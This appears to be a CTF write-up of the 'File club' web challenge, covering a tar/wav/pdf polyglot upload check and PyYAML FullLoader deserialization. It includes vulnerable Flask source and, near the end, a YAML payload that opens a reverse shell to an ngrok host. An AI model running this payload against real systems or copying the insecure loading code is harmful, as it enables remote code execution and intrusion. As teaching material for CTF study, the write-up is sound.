# `FILE CLUB` `File club` was a web challenge in `FooBar-CTF` which ended up with 0 solves during the we get 1 solve after CTF shoutout to [TeamRedKnights](https://twitter.com/TeamRedKnights) `Challenge Link` : http://web.chall.nitdgplug.org:8000/ ![](https://i.imgur.com/JzxZOiY.png) ## PART-1 Like all challenges source code for this challenge was also given : ```python=3 #!/usr/bin/python3 from asyncio import subprocess from flask import Flask, Response, redirect, request, render_template from werkzeug.exceptions import RequestEntityTooLarge from string import ascii_lowercase, digits from random import choice import os, tarfile, wave from PIL import Image import yaml import zipfile app = Flask(__name__) UPLOAD_FOLDER = "./uploads/" EXTRACT_FOLDER = "./extracted/" charset = digits + ascii_lowercase random_string = lambda: "".join(choice(charset) for _ in range(10)) def valid_png(file): try: img = Image.open(file) if(img.format == 'PNG'): pass return True except: return False def valid_wave(file): try : with wave.open(file): pass return True except: return False def valid_pdf(file): return_code = os.system(f"pdfinfo {file} >/dev/null 2>&1") return return_code == 0 def valid_zip(file): try : with zipfile.ZipFile(file): return True except: return False def valid_tar(file): try : with tarfile.open(file): pass return True except: return False def check(file): if valid_tar(file) and valid_wave(file) and valid_pdf(file) and not valid_png(file): try: with tarfile.open(file) as tar: tar.extractall(EXTRACT_FOLDER) except Exception as e: print(e) return False print("Files extracted") try: with open('{}test.yaml'.format(EXTRACT_FOLDER),'r') as stream: os.system(f'rm -rf {EXTRACT_FOLDER}/*') output = yaml.load(stream,Loader=yaml.FullLoader) except Exception as e: print(e) os.system(f'rm -rf {EXTRACT_FOLDER}/*') return True isvalid = True else: os.system(f'rm -rf {EXTRACT_FOLDER}/*') isvalid = False os.system(f"rm {file}") return isvalid @app.route("/", methods=["GET"]) def root(): return render_template("index.html") @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == "POST": f = request.files.get('upload-file') if not f: return render_template("nofile.html"), 400 file_location = os.path.join(UPLOAD_FOLDER, random_string()) f.save(file_location) if check(file_location): return render_template("success.html") else: return render_template("fail.html") else: return redirect("/") @app.errorhandler(404) def not_found(e): return render_template('404.html'), 404 ``` ### `SOURCE CODE ANALYSIS` ![](https://i.imgur.com/huOEwb0.jpg) This is pretty basic flask application where we have form to upload file but not a normal file as the challenge name suggest `file-club` the file must be a valid `tar & wav & pdf` actually this idea was inspired from the [video](https://youtu.be/VVdmmN0su6E) so we need to create a [polyglot](https://en.wikipedia.org/wiki/Polyglot_(computing)) file *watch the video for more details* so we can easily create a polyglot using [mitra](https://github.com/corkami/mitra) : `a polyglot generator tool`. > since we have 3 file type total possible combinations are 6 and order of file matters while creating the polglot and the correct order was : ```bash= python3 mitra.py demo.wav demo.pdf # XYZ = generated file python3 mitra.py hax.tar XYZ ``` so let's upload our polyglot and let's see it's valid or not ! if you submit a valid polyglot we get a successful page: ![](https://i.imgur.com/hrJp9vx.jpg) ### `2nd part : Yaml deserialization` Once we upload a valid polyglot file the `tar` get extracted and get loaded loaded `yaml.load(stream,Loader=yaml.FullLoader)` here the vulnerablity lies in the `PyYAML` library. > PyYAML is a python library that allows users to serialize and deserialize data to the commonly used .yml format if you don't know about [deserialization-attack](https://portswigger.net/web-security/deserialization) highly recommended to read this before moving ahead So part was entirely based on PyYAML deserialization vulnerablity highly recommended to read this [blog](https://blog.ankursundara.com/pyyaml-cve/) a detailed analysis have been provided here in nutshell in older version of PyYAML . > In older version of PyYAML,the yaml was deserialized with FullLoader, enabling to load complex function and objects which in turn allowed arbitary code execution but in current version of the PyYAML loads file with safeLoad which loads only safe portion of the yaml restricting complex functions and objects. if you want see a demo in your local machine install a older version of PyYAML`pip3 install PyYAML==5.3.1` we used the same veriosn while hosting the challenge. ```python import yaml import subprocess with open("test.yaml", "r") as stream: try: print(yaml.load(stream,Loader=yaml.FullLoader)) except yaml.YAMLError as exc: print(exc) ``` and pick the the yaml payload from the above blog : ```yaml= !!python/object/new:tuple - !!python/object/new:map - !!python/name:eval - [ "1+2" ] ``` and since eval is evil you can also run system level command This was the actual payload which we used to spawn a reverse shell : ```python=3 !!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] listitems: "import socket,os;s=socket.socket();s.connect(('X.tcp.ngrok.io',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);__import__('pty').spawn('sh')" ``` so let's put all the pieces together we need to craft a payload to spwan reverse shell and put your payload in `.yml` file and and craete a `.tar` file than create the valid polyglot which will pass the first check and the `tar` get extracted and and get loaded and since `FullLoader` is enabled we get a arbitrary code execution. ![](https://i.imgur.com/FMpzYcm.png)